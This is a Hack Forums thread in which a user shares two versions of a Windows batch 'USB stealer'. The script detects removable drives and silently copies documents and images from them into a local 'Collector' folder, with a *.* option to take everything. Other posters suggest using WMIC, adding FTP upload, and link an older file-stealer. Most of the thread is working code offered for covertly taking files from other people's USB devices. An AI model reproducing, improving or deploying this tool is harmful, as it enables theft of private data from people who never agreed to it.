Hack Forums
[Shell] Yet Another USB Stealer v0.1 (filetype filter) - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [Shell] Yet Another USB Stealer v0.1 (filetype filter) (/showthread.php?tid=5676401)

Yet Another USB Stealer v0.1 (filetype filter) - Sphere of Madness - Jul 23, 2017

Hello,

here is simple USB stealer that copy files from removable devices to local dump.

Suggestions are welcomed :)

Yet Another USB Stealer v0.1
* supports filetype filter

Code
::
:: USB Stealer v0.1
:: Sphere of Madness / HF
::

@echo off
SETLOCAL

:: Home directory where files are copied
set _home=%UserProfile%\Collector

:: Filetypes to steal
:: Change to *.* if you want steal everything
set _filetypes=*.txt *.doc *.jpg

:: Create home directory

If not exist "%_home%" (
    mkdir "%_home%"
)

:: GetDate.cmd
:: ss64.com/nt/syntax-getdate.html

:: Check WMIC is available
WMIC.EXE Alias /? >NUL 2>&1 || GOTO s_error

:: Use WMIC to retrieve date and time
FOR /F "skip=1 tokens=1-6" %%G IN ('WMIC Path Win32_LocalTime Get Day^,Hour^,Minute^,Month^,Second^,Year /Format:table') DO (
   IF "%%~L"=="" goto s_done
      Set _yyyy=%%L
      Set _mm=00%%J
      Set _dd=00%%G
      Set _hour=00%%H
      SET _minute=00%%I
)
:s_done

:: Pad digits with leading zeros
      Set _mm=%_mm:~-2%
      Set _dd=%_dd:~-2%
      Set _hour=%_hour:~-2%
      Set _minute=%_minute:~-2%

:: Display the date/time in ISO 8601 format:
Set _isodate=%_yyyy%-%_mm%-%_dd%__%_hour%_%_minute%
goto scan

:s_error
:: Create random numbers if WMIC is NOT available
Set _isodate=%random%

:: End of GetDate.cmd

:: Scan for USB devices and copy defined filetypes to home directory

:scan
for /F "tokens=1*" %%a in ('fsutil fsinfo drives') do (
   for %%c in (%%b) do (
      for /F "tokens=3" %%d in ('fsutil fsinfo drivetype %%c') do (
         if %%d equ Removable (
            robocopy %%c "%_home%\%_isodate%" %_filetypes% /E >NUL
         )
      )
   )
)


* - Abducted - Jul 23, 2017

Why not to make one in some real programming language though?

* - Sphere of Madness - Jul 23, 2017

I know to code in mIRC is that enough real?

* - Hackoo - Jul 24, 2017

Hi ✌
I took just this part to test on my french windows 7 but this dosen't work for me :
Code
:scan
for /F "tokens=1*" %%a in ('fsutil fsinfo drives') do (
   for %%c in (%%b) do (
      for /F "tokens=3" %%d in ('fsutil fsinfo drivetype %%c') do (
        echo %%d & pause
         if %%d equ Removable (
          echo  robocopy %%c "%_home%\%_isodate%" %_filetypes% /E >NUL
         )
      )
   )
)
pause
So i will recommend you to change this part to be more universel for all users !
I recommend you to use WMIC to find the connected Removable drive !

* - Sphere of Madness - Jul 24, 2017

@Hackoo, you must be Admin to use "fsutil" but you are right, will switch code to use wmic on next version, also i have in mind FTP upload :D

* - Hackoo - Jul 24, 2017

(Jul 24, 2017 02:56 AM)Sphere of Madness Wrote:  @Hackoo, you must be Admin to use "fsutil" but you are right, will switch code to use wmic on next version, also i have in mind FTP upload :D

Try to use this piece of code :
Code
for /f "tokens=2" %%i in ('wmic logicaldisk where "drivetype=2" ^|find /i ":"') do (Set MyUSB=%%i)

(Jul 24, 2017 02:56 AM)Sphere of Madness Wrote:  i have in mind FTP upload :D
it's aleardy done with a vbscript since 2009 😉 😁
Files-Stealer by Hackoo

* - x4x552 - Jul 27, 2017

thank you bro for sharing :)

* - Sphere of Madness - Jul 29, 2017

Yet Another USB Stealer v0.2 reduced extra code
 all function changed to WMIC

Code
::
:: USB Stealer v0.2
:: Sphere of Madness / HF
::

@echo off
SETLOCAL

:: Home directory where files are copied
set _home=%UserProfile%\Collector

:: Filetypes to steal
set _filetypes=*.txt *.doc *.jpg

:: GetDate.cmd
:: ss64.com/nt/syntax-getdate.html

:: Check WMIC is available
WMIC.EXE Alias /? >NUL 2>&1 || GOTO s_error

:: Use WMIC to retrieve date and time
FOR /F "skip=1 tokens=1-6" %%G IN ('WMIC Path Win32_LocalTime Get Day^,Hour^,Minute^,Month^,Second^,Year /Format:table') DO (
   IF "%%~L"=="" goto s_done
      Set _yyyy=%%L
      Set _mm=00%%J
      Set _dd=00%%G
      Set _hour=00%%H
      SET _minute=00%%I
)
:s_done

:: Pad digits with leading zeros
      Set _mm=%_mm:~-2%
      Set _dd=%_dd:~-2%
      Set _hour=%_hour:~-2%
      Set _minute=%_minute:~-2%

:: Display the date/time in ISO 8601 format:
Set _isodate=%_yyyy%-%_mm%-%_dd%__%_hour%-%_minute%

:: End of GetDate.cmd

:: Scan for USB devices and copy defined filetypes to home directory

for /f "tokens=1" %%i in ('wmic logicaldisk where "drivetype=2" get deviceid ^|find /i ":"') do (robocopy %%i "%_home%\%_isodate%" %_filetypes% /E >NUL)

goto :EOF

:s_error
:: WMIC is NOT available
echo WMIC is missing, copy failed!